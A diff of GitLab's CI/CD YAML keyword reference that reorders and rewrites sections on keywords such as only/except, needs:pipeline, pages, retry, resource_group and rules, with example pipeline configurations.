-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in GitLab 13.2.
-> - Requires GitLab Runner 11.5 and above.
-
-The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md).
-The report is uploaded to GitLab as an artifact.
-
-GitLab can display the results of only one report in the merge request
-[load testing widget](../../user/project/merge_requests/load_performance_testing.md#how-load-performance-testing-works).
-
-GitLab cannot display the combined results of multiple `load_performance` reports.
-
-##### `artifacts:reports:metrics` **(PREMIUM)**
+In this example:
-The `metrics` report collects [Metrics](../metrics_reports.md). The collected Metrics report uploads to GitLab as an
-artifact.
+- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec`
+ job waits for it to complete before starting.
+- When the branch is not the default branch, the `build` job does not exist in the pipeline.
+ The `rspec` job runs immediately (similar to `needs: []`) because its `needs`
+ relationship to the `build` job is optional.
-GitLab can display the results of one or more reports in the merge request
-[metrics reports widget](../../ci/metrics_reports.md#metrics-reports).
+#### `needs:pipeline`
-##### `artifacts:reports:requirements` **(ULTIMATE)**
+You can mirror the pipeline status from an upstream pipeline to a bridge job by
+using the `needs:pipeline` keyword. The latest pipeline status from the default branch is
+replicated to the bridge job.
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1.
+**Keyword type**: Job keyword. You can use it only as part of a job.
-The `requirements` report collects `requirements.json` files. The collected Requirements report uploads to GitLab as an
-artifact and existing [requirements](../../user/project/requirements/index.md) are marked as Satisfied.
+**Possible inputs**:
-GitLab can display the results of one or more reports in the
-[project requirements](../../user/project/requirements/index.md#view-a-requirement).
+- A full project path, including namespace and group. If the
+ project is in the same group or namespace, you can omit them from the `project`
+ keyword. For example: `project: group/project-name` or `project: project-name`.
-##### `artifacts:reports:sast`
+**Example of `needs:pipeline`**:
-> - [Moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) from GitLab Ultimate to GitLab Free in 13.3.
+```yaml
+upstream_bridge:
+ stage: test
+ needs:
+ pipeline: other/project
+```
-The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md). The collected SAST
-report uploads to GitLab as an artifact.
+**Additional details**:
-GitLab can display the results of one or more reports in:
+- If you add the `job` keyword to `needs:pipeline`, the job no longer mirrors the
+ pipeline status. The behavior changes to [`needs:pipeline:job`](#needspipelinejob).
-- The merge request [SAST widget](../../user/application_security/sast/index.md#static-application-security-testing-sast).
-- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+### `only` / `except`
-##### `artifacts:reports:secret_detection`
+NOTE:
+`only` and `except` are not being actively developed. [`rules`](#rules) is the preferred
+keyword to control when to add jobs to pipelines.
-> - Introduced in GitLab 13.1.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) to GitLab Free in 13.3.
-> - Requires GitLab Runner 11.5 and above.
+You can use `only` and `except` to control when to add jobs to pipelines.
-The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md).
-The collected Secret Detection report is uploaded to GitLab.
+- Use `only` to define when a job runs.
+- Use `except` to define when a job **does not** run.
-GitLab can display the results of one or more reports in:
+Four keywords can be used with `only` and `except`:
-- The merge request [secret scanning widget](../../user/application_security/secret_detection/index.md).
-- The [pipeline **Security** tab](../../user/application_security/index.md#view-security-scan-information-in-the-pipeline-security-tab).
-- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+- [`refs`](#onlyrefs--exceptrefs)
+- [`variables`](#onlyvariables--exceptvariables)
+- [`changes`](#onlychanges--exceptchanges)
+- [`kubernetes`](#onlykubernetes--exceptkubernetes)
-##### `artifacts:reports:terraform`
+See [specify when jobs run with `only` and `except`](../jobs/job_control.md#specify-when-jobs-run-with-only-and-except)
+for more details and examples.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0.
-> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
+#### `only:refs` / `except:refs`
-The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/iac/mr_integration.md#configure-terraform-report-artifacts).
-The collected Terraform plan report uploads to GitLab as an artifact.
+Use the `only:refs` and `except:refs` keywords to control when to add jobs to a
+pipeline based on branch names or pipeline types.
-GitLab can display the results of one or more reports in the merge request
-[terraform widget](../../user/infrastructure/iac/mr_integration.md#output-terraform-plan-information-into-a-merge-request).
+**Keyword type**: Job keyword. You can use it only as part of a job.
-For more information, see [Output `terraform plan` information into a merge request](../../user/infrastructure/iac/mr_integration.md).
+**Possible inputs**: An array including any number of:
-#### `artifacts:untracked`
+- Branch names, for example `main` or `my-feature-branch`.
+- [Regular expressions](../jobs/job_control.md#only--except-regex-syntax)
+ that match against branch names, for example `/^feature-.*/`.
+- The following keywords:
-Use `artifacts:untracked` to add all Git untracked files as artifacts (along
-with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration
-in the repository's `.gitignore` file.
+ | **Value** | **Description** |
+ | -------------------------|-----------------|
+ | `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). |
+ | `branches` | When the Git reference for a pipeline is a branch. |
+ | `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. |
+ | `external` | When you use CI services other than GitLab. |
+ | `external_pull_requests` | When an external pull request on GitHub is created or updated (See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests)). |
+ | `merge_requests` | For pipelines created when a merge request is created or updated. Enables [merge request pipelines](../pipelines/merge_request_pipelines.md), [merged results pipelines](../pipelines/pipelines_for_merged_results.md), and [merge trains](../pipelines/merge_trains.md). |
+ | `pipelines` | For [multi-project pipelines](../pipelines/multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api), or the [`trigger`](#trigger) keyword. |
+ | `pushes` | For pipelines triggered by a `git push` event, including for branches and tags. |
+ | `schedules` | For [scheduled pipelines](../pipelines/schedules.md). |
+ | `tags` | When the Git reference for a pipeline is a tag. |
+ | `triggers` | For pipelines created by using a [trigger token](../triggers/index.md#configure-cicd-jobs-to-run-in-triggered-pipelines). |
+ | `web` | For pipelines created by selecting **Run pipeline** in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
-Send all Git untracked files:
+**Example of `only:refs` and `except:refs`**:
```yaml
-artifacts:
- untracked: true
-```
-
-Send all Git untracked files and files in `binaries`:
+job1:
+ script: echo
+ only:
+ - main
+ - /^issue-.*$/
+ - merge_requests
-```yaml
-artifacts:
- untracked: true
- paths:
- - binaries/
+job2:
+ script: echo
+ except:
+ - main
+ - /^stable-branch.*$/
+ - schedules
```
-Send all untracked files but [exclude](#artifactsexclude) `*.txt`:
+**Additional details**:
-```yaml
-artifacts:
- untracked: true
- exclude:
- - "*.txt"
-```
+- Scheduled pipelines run on specific branches, so jobs configured with `only: branches`
+ run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches`
+ from running on scheduled pipelines.
+- `only` or `except` used without any other keywords are equivalent to `only: refs`
+ or `except: refs`. For example, the following two jobs configurations have the same
+ behavior:
-#### `artifacts:when`
+ ```yaml
+ job1:
+ script: echo
+ only:
+ - branches
-Use `artifacts:when` to upload artifacts on job failure or despite the
-failure.
+ job2:
+ script: echo
+ only:
+ refs:
+ - branches
+ ```
-`artifacts:when` can be set to one of the following values:
+- If a job does not use `only`, `except`, or [`rules`](#rules), then `only` is set to `branches`
+ and `tags` by default.
-1. `on_success` (default): Upload artifacts only when the job succeeds.
-1. `on_failure`: Upload artifacts only when the job fails.
-1. `always`: Always upload artifacts. For example, when
- [uploading artifacts](../unit_test_reports.md#viewing-junit-screenshots-on-gitlab) required to
- troubleshoot failing tests.
+ For example, `job1` and `job2` are equivalent:
-For example, to upload artifacts only when a job fails:
+ ```yaml
+ job1:
+ script: echo "test"
-```yaml
-job:
- artifacts:
- when: on_failure
-```
+ job2:
+ script: echo "test"
+ only:
+ - branches
+ - tags
+ ```
-### `coverage`
+#### `only:variables` / `except:variables`
-Use `coverage` with a custom regular expression to configure how code coverage
-is extracted from the job output. The coverage is shown in the UI if at least one
-line in the job output matches the regular expression.
+Use the `only:variables` or `except:variables` keywords to control when to add jobs
+to a pipeline, based on the status of [CI/CD variables](../variables/index.md).
-To extract the code coverage value in the matching line, GitLab uses this
-regular expression: `\d+(\.\d+)?`.
+**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: A regular expression. Must start and end with `/`.
+**Possible inputs**:
-**Example of `coverage`**:
+- An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions).
+
+**Example of `only:variables`**:
```yaml
-job1:
- script: rspec
- coverage: '/Code coverage: \d+\.\d+/'
+deploy:
+ script: cap staging deploy
+ only:
+ variables:
+ - $RELEASE == "staging"
+ - $STAGING
```
-In this example:
-
-1. GitLab checks the job log for a line that matches the regular expression. A line
- like `Code coverage: 67.89` would match.
-1. GitLab then checks the line to find a match to `\d+(\.\d+)?`. The sample matching
- line above gives a code coverage of `67.89`.
+**Related topics**:
-**Additional details**:
+- [`only:variables` and `except:variables` examples](../jobs/job_control.md#only-variables--except-variables-examples).
-- If there is more than one matched line in the job output, the last line is used.
-- Leading zeros are removed.
-- Coverage output from [child pipelines](../pipelines/parent_child_pipelines.md)
- is not recorded or displayed. Check [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/280818)
- for more details.
+#### `only:changes` / `except:changes`
-### `dast_configuration` **(ULTIMATE)**
+Use the `changes` keyword with `only` to run a job, or with `except` to skip a job,
+when a Git push event modifies a file.
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5981) in GitLab 14.1.
+Use `changes` in pipelines with the following refs:
-Use the `dast_configuration` keyword to specify a site profile and scanner profile to be used in a
-CI/CD configuration. Both profiles must first have been created in the project. The job's stage must
-be `dast`.
+- `branches`
+- `external_pull_requests`
+- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests))
-**Keyword type**: Job keyword. You can use only as part of a job.
+**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: One each of `site_profile` and `scanner_profile`.
+**Possible inputs**: An array including any number of:
-- Use `site_profile` to specify the site profile to be used in the job.
-- Use `scanner_profile` to specify the scanner profile to be used in the job.
+- Paths to files.
+- Wildcard paths for single directories, for example `path/to/directory/*`, or a directory
+ and all its subdirectories, for example `path/to/directory/**/*`.
+- Wildcard ([glob](https://en.wikipedia.org/wiki/Glob_(programming))) paths for all
+ files with the same extension or multiple extensions, for example `*.md` or `path/to/directory/*.{rb,py,sh}`.
+- Wildcard paths to files in the root directory, or all directories, wrapped in double quotes.
+ For example `"*.json"` or `"**/*.json"`.
-**Example of `dast_configuration`**:
+**Example of `only:changes`**:
```yaml
-stages:
- - build
- - dast
-
-include:
- - template: DAST.gitlab-ci.yml
-
-dast:
- dast_configuration:
- site_profile: "Example Co"
- scanner_profile: "Quick Passive Test"
+docker build:
+ script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
+ only:
+ refs:
+ - branches
+ changes:
+ - Dockerfile
+ - docker/scripts/*
+ - dockerfiles/**/*
+ - more_scripts/*.{rb,py,sh}
+ - "**/*.json"
```
-In this example, the `dast` job extends the `dast` configuration added with the `include:` keyword
-to select a specific site profile and scanner profile.
-
**Additional details**:
-- Settings contained in either a site profile or scanner profile take precedence over those
- contained in the DAST template.
+- `changes` resolves to `true` if any of the matching files are changed (an `OR` operation).
+- If you use refs other than `branches`, `external_pull_requests`, or `merge_requests`,
+ `changes` can't determine if a given file is new or old and always returns `true`.
+- If you use `only: changes` with other refs, jobs ignore the changes and always run.
+- If you use `except: changes` with other refs, jobs ignore the changes and never run.
**Related topics**:
-- [Site profile](../../user/application_security/dast/index.md#site-profile).
-- [Scanner profile](../../user/application_security/dast/index.md#scanner-profile).
-
-### `retry`
+- [`only: changes` and `except: changes` examples](../jobs/job_control.md#onlychanges--exceptchanges-examples).
+- If you use `changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds),
+ you should [also use `only:merge_requests`](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests).
+- Use `changes` with [new branches or tags *without* pipelines for merge requests](../jobs/job_control.md#use-onlychanges-without-pipelines-for-merge-requests).
+- Use `changes` with [scheduled pipelines](../jobs/job_control.md#use-onlychanges-with-scheduled-pipelines).
-Use `retry` to configure how many times a job is retried if it fails.
-If not defined, defaults to `0` and jobs do not retry.
+#### `only:kubernetes` / `except:kubernetes`
-When a job fails, the job is processed up to two more times, until it succeeds or
-reaches the maximum number of retries.
+Use `only:kubernetes` or `except:kubernetes` to control if jobs are added to the pipeline
+when the Kubernetes service is active in the project.
-By default, all failure types cause the job to be retried. Use [`retry:when`](#retrywhen)
-to select which failures to retry on.
+**Keyword type**: Job-specific. You can use it only as part of a job.
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
+**Possible inputs**:
-**Possible inputs**: `0` (default), `1`, or `2`.
+- The `kubernetes` strategy accepts only the `active` keyword.
-**Example of `retry`**:
+**Example of `only:kubernetes`**:
```yaml
-test:
- script: rspec
- retry: 2
+deploy:
+ only:
+ kubernetes: active
```
-#### `retry:when`
-
-Use `retry:when` with `retry:max` to retry jobs for only specific failure cases.
-`retry:max` is the maximum number of retries, like [`retry`](#retry), and can be
-`0`, `1`, or `2`.
-
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
-
-**Possible inputs**: A single failure type, or an array of one or more failure types:
-
-<!--
- If you change any of the values below, make sure to update the `RETRY_WHEN_IN_DOCUMENTATION`
- array in `spec/lib/gitlab/ci/config/entry/retry_spec.rb`.
- The test there makes sure that all documented
- values are valid as a configuration option and therefore should always
- stay in sync with this documentation.
--->
-
-- `always`: Retry on any failure (default).
-- `unknown_failure`: Retry when the failure reason is unknown.
-- `script_failure`: Retry when the script failed.
-- `api_failure`: Retry on API failure.
-- `stuck_or_timeout_failure`: Retry when the job got stuck or timed out.
-- `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed).
-- `runner_unsupported`: Retry if the runner is unsupported.
-- `stale_schedule`: Retry if a delayed job could not be executed.
-- `job_execution_timeout`: Retry if the script exceeded the maximum execution time set for the job.
-- `archived_failure`: Retry if the job is archived and can't be run.
-- `unmet_prerequisites`: Retry if the job failed to complete prerequisite tasks.
-- `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner.
-- `data_integrity_failure`: Retry if there is a structural integrity problem detected.
+In this example, the `deploy` job runs only when the Kubernetes service is active
+in the project.
-**Example of `retry:when`** (single failure type):
+### `pages`
-```yaml
-test:
- script: rspec
- retry:
- max: 2
- when: runner_system_failure
-```
+Use `pages` to define a [GitLab Pages](../../user/project/pages/index.md) job that
+uploads static content to GitLab. The content is then published as a website.
-If there is a failure other than a runner system failure, the job is not retried.
+**Keyword type**: Job name.
-**Example of `retry:when`** (array of failure types):
+**Example of `pages`**:
```yaml
-test:
- script: rspec
- retry:
- max: 2
- when:
- - runner_system_failure
- - stuck_or_timeout_failure
+pages:
+ stage: deploy
+ script:
+ - mkdir .public
+ - cp -r * .public
+ - mv .public public
+ artifacts:
+ paths:
+ - public
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
```
-**Related topics**:
-
-You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts)
-using variables.
-
-### `timeout`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14887) in GitLab 12.3.
-
-Use `timeout` to configure a timeout for a specific job. If the job runs for longer
-than the timeout, the job fails.
-
-The job-level timeout can be longer than the [project-level timeout](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run).
-but can't be longer than the [runner's timeout](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner).
-
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
-
-**Possible inputs**: A period of time written in natural language. For example, these are all equivalent:
-
-- `3600 seconds`
-- `60 minutes`
-- `one hour`
+This example moves all files from the root of the project to the `public/` directory.
+The `.public` workaround is so `cp` does not also copy `public/` to itself in an infinite loop.
-**Example of `timeout`**:
+**Additional details**:
-```yaml
-build:
- script: build.sh
- timeout: 3 hours 30 minutes
+You must:
-test:
- script: rspec
- timeout: 3h 30m
-```
+- Place any static content in a `public/` directory.
+- Define [`artifacts`](#artifacts) with a path to the `public/` directory.
### `parallel`
@@ -3401,7 +2574,9 @@ Parallel jobs are named sequentially from `job_name 1/N` to `job_name N/N`.
**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: A numeric value from `2` to `50`.
+**Possible inputs**:
+
+- A numeric value from `2` to `50`.
**Example of `parallel`**:
@@ -3434,7 +2609,9 @@ Multiple runners must exist, or a single runner must be configured to run multip
**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: A numeric value from `2` to `50`.
+**Possible inputs**:
+
+- A numeric value from `2` to `50`.
**Example of `parallel:matrix`**:
@@ -3477,175 +2654,6 @@ deploystacks: [vultr, processing]
- [Run a one-dimensional matrix of parallel jobs](../jobs/job_control.md#run-a-one-dimensional-matrix-of-parallel-jobs).
- [Run a matrix of triggered parallel jobs](../jobs/job_control.md#run-a-matrix-of-parallel-trigger-jobs).
-### `trigger`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in GitLab Premium 11.8.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
-
-Use `trigger` to start a downstream pipeline that is either:
-
-- [A multi-project pipeline](../pipelines/multi_project_pipelines.md).
-- [A child pipeline](../pipelines/parent_child_pipelines.md).
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**:
-
-- For multi-project pipelines, path to the downstream project.
-- For child pipelines, path to the child pipeline CI/CD configuration file.
-
-**Example of `trigger` for multi-project pipeline**:
-
-```yaml
-rspec:
- stage: test
- script: bundle exec rspec
-
-staging:
- stage: deploy
- trigger: my/deployment
-```
-
-**Example of `trigger` for child pipelines**:
-
-```yaml
-trigger_job:
- trigger:
- include: path/to/child-pipeline.yml
-```
-
-**Additional details**:
-
-- Jobs with `trigger` can only use a [limited set of keywords](../pipelines/multi_project_pipelines.md#define-multi-project-pipelines-in-your-gitlab-ciyml-file).
- For example, you can't run commands with [`script`](#script), [`before_script`](#before_script),
- or [`after_script`](#after_script).
-- In [GitLab 13.5 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/201938), you
- can use [`when:manual`](#when) in the same job as `trigger`. In GitLab 13.4 and
- earlier, using them together causes the error `jobs:#{job-name} when should be on_success, on_failure or always`.
-- In [GitLab 13.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/197140/), you can
- view which job triggered a downstream pipeline in the [pipeline graph](../pipelines/index.md#visualize-pipelines).
-
-**Related topics**:
-
-- [Multi-project pipeline configuration examples](../pipelines/multi_project_pipelines.md#define-multi-project-pipelines-in-your-gitlab-ciyml-file).
-- [Child pipeline configuration examples](../pipelines/parent_child_pipelines.md#examples).
-- To force a rebuild of a specific branch, tag, or commit, you can
- [use an API call with a trigger token](../triggers/index.md).
- The trigger token is different than the `trigger` keyword.
-
-#### `trigger:strategy`
-
-Use `trigger:strategy` to force the `trigger` job to wait for the downstream pipeline to complete
-before it is marked as **success**.
-
-This behavior is different than the default, which is for the `trigger` job to be marked as
-**success** as soon as the downstream pipeline is created.
-
-This setting makes your pipeline execution linear rather than parallel.
-
-**Example of `trigger:strategy`**:
-
-```yaml
-trigger_job:
- trigger:
- include: path/to/child-pipeline.yml
- strategy: depend
-```
-
-In this example, jobs from subsequent stages wait for the triggered pipeline to
-successfully complete before starting.
-
-### `interruptible`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32022) in GitLab 12.3.
-
-Use `interruptible` if a job should be canceled when a newer pipeline starts before the job completes.
-
-This keyword is used with the [automatic cancellation of redundant pipelines](../pipelines/settings.md#auto-cancel-redundant-pipelines)
-feature. When enabled, a running job with `interruptible: true` can be cancelled when
-a new pipeline starts on the same branch.
-
-You can't cancel subsequent jobs after a job with `interruptible: false` starts.
-
-**Keyword type**: Job keyword. You can use it only as part of a job or in the
-[`default:` section](#default).
-
-**Possible inputs**: `true` or `false` (default).
-
-**Example of `interruptible`**:
-
-```yaml
-stages:
- - stage1
- - stage2
- - stage3
-
-step-1:
- stage: stage1
- script:
- - echo "Can be canceled."
- interruptible: true
-
-step-2:
- stage: stage2
- script:
- - echo "Can not be canceled."
-
-step-3:
- stage: stage3
- script:
- - echo "Because step-2 can not be canceled, this step can never be canceled, even though it's set as interruptible."
- interruptible: true
-```
-
-In this example, a new pipeline causes a running pipeline to be:
-
-- Canceled, if only `step-1` is running or pending.
-- Not canceled, after `step-2` starts.
-
-**Additional details**:
-
-- Only set `interruptible: true` if the job can be safely canceled after it has started,
- like a build job. Deployment jobs usually shouldn't be cancelled, to prevent partial deployments.
-- To completely cancel a running pipeline, all jobs must have `interruptible: true`,
- or `interruptible: false` jobs must not have started.
-
-### `resource_group`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15536) in GitLab 12.7.
-
-Use `resource_group` to create a [resource group](../resource_groups/index.md) that
-ensures a job is mutually exclusive across different pipelines for the same project.
-
-For example, if multiple jobs that belong to the same resource group are queued simultaneously,
-only one of the jobs starts. The other jobs wait until the `resource_group` is free.
-
-Resource groups behave similar to semaphores in other programming languages.
-
-You can define multiple resource groups per environment. For example,
-when deploying to physical devices, you might have multiple physical devices. Each device
-can be deployed to, but only one deployment can occur per device at any given time.
-
-**Keyword type**: Job keyword. You can use it only as part of a job.
-
-**Possible inputs**: Only letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces.
-It can't start or end with `/`.
-
-**Example of `resource_group`**:
-
-```yaml
-deploy-to-production:
- script: deploy
- resource_group: production
-```
-
-In this example, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result,
-you can ensure that concurrent deployments never happen to the production environment.
-
-**Related topics**:
-
-- [Pipeline-level concurrency control with cross-project/parent-child pipelines](../resource_groups/index.md#pipeline-level-concurrency-control-with-cross-projectparent-child-pipelines).
-
### `release`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 13.2.
@@ -3660,7 +2668,7 @@ you can use this image from the GitLab Container Registry: `registry.gitlab.com/
**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: The `release:` subkeys:
+**Possible inputs**: The `release` subkeys:
- [`tag_name`](#releasetag_name)
- [`name`](#releasename) (optional)
@@ -3679,7 +2687,7 @@ you can use this image from the GitLab Container Registry: `registry.gitlab.com/
rules:
- if: $CI_COMMIT_TAG # Run this job when a tag is created manually
script:
- - echo 'Running the release job.'
+ - echo "Running the release job."
release:
name: 'Release $CI_COMMIT_TAG'
description: 'Release created using the release-cli.'
@@ -3697,7 +2705,7 @@ This example creates a release:
```yaml
script:
- - echo 'release job'
+ - echo "release job"
```
An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/223856) exists to remove this requirement.
@@ -3723,7 +2731,9 @@ New tags use the SHA associated with the pipeline.
**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: A tag name. Can use [CI/CD variables](../variables/index.md).
+**Possible inputs**:
+
+- A tag name. Can use [CI/CD variables](../variables/index.md).
**Example of `release:tag_name`**:
@@ -3735,7 +2745,7 @@ To create a release when a new tag is added to the project:
```yaml
job:
- script: echo 'Running the release job for the new tag.'
+ script: echo "Running the release job for the new tag."
release:
tag_name: $CI_COMMIT_TAG
description: 'Release description'
@@ -3748,7 +2758,7 @@ should **not** configure the job to run only for new tags. A semantic versioning
```yaml
job:
- script: echo 'Running the release job and creating a new tag.'
+ script: echo "Running the release job and creating a new tag."
release:
tag_name: ${MAJOR}_${MINOR}_${REVISION}
description: 'Release description'
@@ -3762,7 +2772,9 @@ The release name. If omitted, it is populated with the value of `release: tag_na
**Keyword type**: Job keyword. You can use it only as part of a job.
-**Possible inputs**: A text string.
+**Possible inputs**:
+
+- A text string.
**Example of `release:name`**:
@@ -3849,6 +2861,405 @@ assets:
link_type: 'other' # optional
```
+### `resource_group`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15536) in GitLab 12.7.
+
+Use `resource_group` to create a [resource group](../resource_groups/index.md) that
+ensures a job is mutually exclusive across different pipelines for the same project.
+
+For example, if multiple jobs that belong to the same resource group are queued simultaneously,
+only one of the jobs starts. The other jobs wait until the `resource_group` is free.
+
+Resource groups behave similar to semaphores in other programming languages.
+
+You can define multiple resource groups per environment. For example,
+when deploying to physical devices, you might have multiple physical devices. Each device
+can be deployed to, but only one deployment can occur per device at any given time.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**:
+
+- Only letters, digits, `-`, `_`, `/`, `$`, `{`, `}`, `.`, and spaces.
+ It can't start or end with `/`.
+
+**Example of `resource_group`**:
+
+```yaml
+deploy-to-production:
+ script: deploy
+ resource_group: production
+```
+
+In this example, two `deploy-to-production` jobs in two separate pipelines can never run at the same time. As a result,
+you can ensure that concurrent deployments never happen to the production environment.
+
+**Related topics**:
+
+- [Pipeline-level concurrency control with cross-project/parent-child pipelines](../resource_groups/index.md#pipeline-level-concurrency-control-with-cross-projectparent-child-pipelines).
+
+### `retry`
+
+Use `retry` to configure how many times a job is retried if it fails.
+If not defined, defaults to `0` and jobs do not retry.
+
+When a job fails, the job is processed up to two more times, until it succeeds or
+reaches the maximum number of retries.
+
+By default, all failure types cause the job to be retried. Use [`retry:when`](#retrywhen)
+to select which failures to retry on.
+
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
+
+**Possible inputs**:
+
+- `0` (default), `1`, or `2`.
+
+**Example of `retry`**:
+
+```yaml
+test:
+ script: rspec
+ retry: 2
+```
+
+#### `retry:when`
+
+Use `retry:when` with `retry:max` to retry jobs for only specific failure cases.
+`retry:max` is the maximum number of retries, like [`retry`](#retry), and can be
+`0`, `1`, or `2`.
+
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
+
+**Possible inputs**:
+
+- A single failure type, or an array of one or more failure types:
+
+<!--
+ If you change any of the values below, make sure to update the `RETRY_WHEN_IN_DOCUMENTATION`
+ array in `spec/lib/gitlab/ci/config/entry/retry_spec.rb`.
+ The test there makes sure that all documented
+ values are valid as a configuration option and therefore should always
+ stay in sync with this documentation.
+-->
+
+- `always`: Retry on any failure (default).
+- `unknown_failure`: Retry when the failure reason is unknown.
+- `script_failure`: Retry when the script failed.
+- `api_failure`: Retry on API failure.
+- `stuck_or_timeout_failure`: Retry when the job got stuck or timed out.
+- `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed).
+- `runner_unsupported`: Retry if the runner is unsupported.
+- `stale_schedule`: Retry if a delayed job could not be executed.
+- `job_execution_timeout`: Retry if the script exceeded the maximum execution time set for the job.
+- `archived_failure`: Retry if the job is archived and can't be run.
+- `unmet_prerequisites`: Retry if the job failed to complete prerequisite tasks.
+- `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner.
+- `data_integrity_failure`: Retry if there is a structural integrity problem detected.
+
+**Example of `retry:when`** (single failure type):
+
+```yaml
+test:
+ script: rspec
+ retry:
+ max: 2
+ when: runner_system_failure
+```
+
+If there is a failure other than a runner system failure, the job is not retried.
+
+**Example of `retry:when`** (array of failure types):
+
+```yaml
+test:
+ script: rspec
+ retry:
+ max: 2
+ when:
+ - runner_system_failure
+ - stuck_or_timeout_failure
+```
+
+**Related topics**:
+
+You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts)
+using variables.
+
+### `rules`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3.
+
+Use `rules` to include or exclude jobs in pipelines.
+
+Rules are evaluated when the pipeline is created, and evaluated *in order*
+until the first match. When a match is found, the job is either included or excluded from the pipeline,
+depending on the configuration.
+
+You cannot use dotenv variables created in job scripts in rules, because rules are evaluated before any jobs run.
+
+`rules` replaces [`only/except`](#only--except) and they can't be used together
+in the same job. If you configure one job to use both keywords, the GitLab returns
+a `key may not be used with rules` error.
+
+`rules` accepts an array of rules defined with:
+
+- `if`
+- `changes`
+- `exists`
+- `allow_failure`
+- `variables`
+- `when`
+
+You can combine multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules).
+
+The job is added to the pipeline:
+
+- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default),
+ `when: delayed`, or `when: always`.
+- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`.
+
+The job is not added to the pipeline:
+
+- If no rules match.
+- If a rule matches and has `when: never`.
+
+You can use [`!reference` tags](yaml_optimization.md#reference-tags) to [reuse `rules` configuration](../jobs/job_control.md#reuse-rules-in-different-jobs)
+in different jobs.
+
+#### `rules:if`
+
+Use `rules:if` clauses to specify when to add a job to a pipeline:
+
+- If an `if` statement is true, add the job to the pipeline.
+- If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline.
+- If no `if` statements are true, do not add the job to the pipeline.
+
+`if` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md)
+or [custom CI/CD variables](../variables/index.md#custom-cicd-variables).
+
+**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job
+to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior.
+
+**Possible inputs**:
+
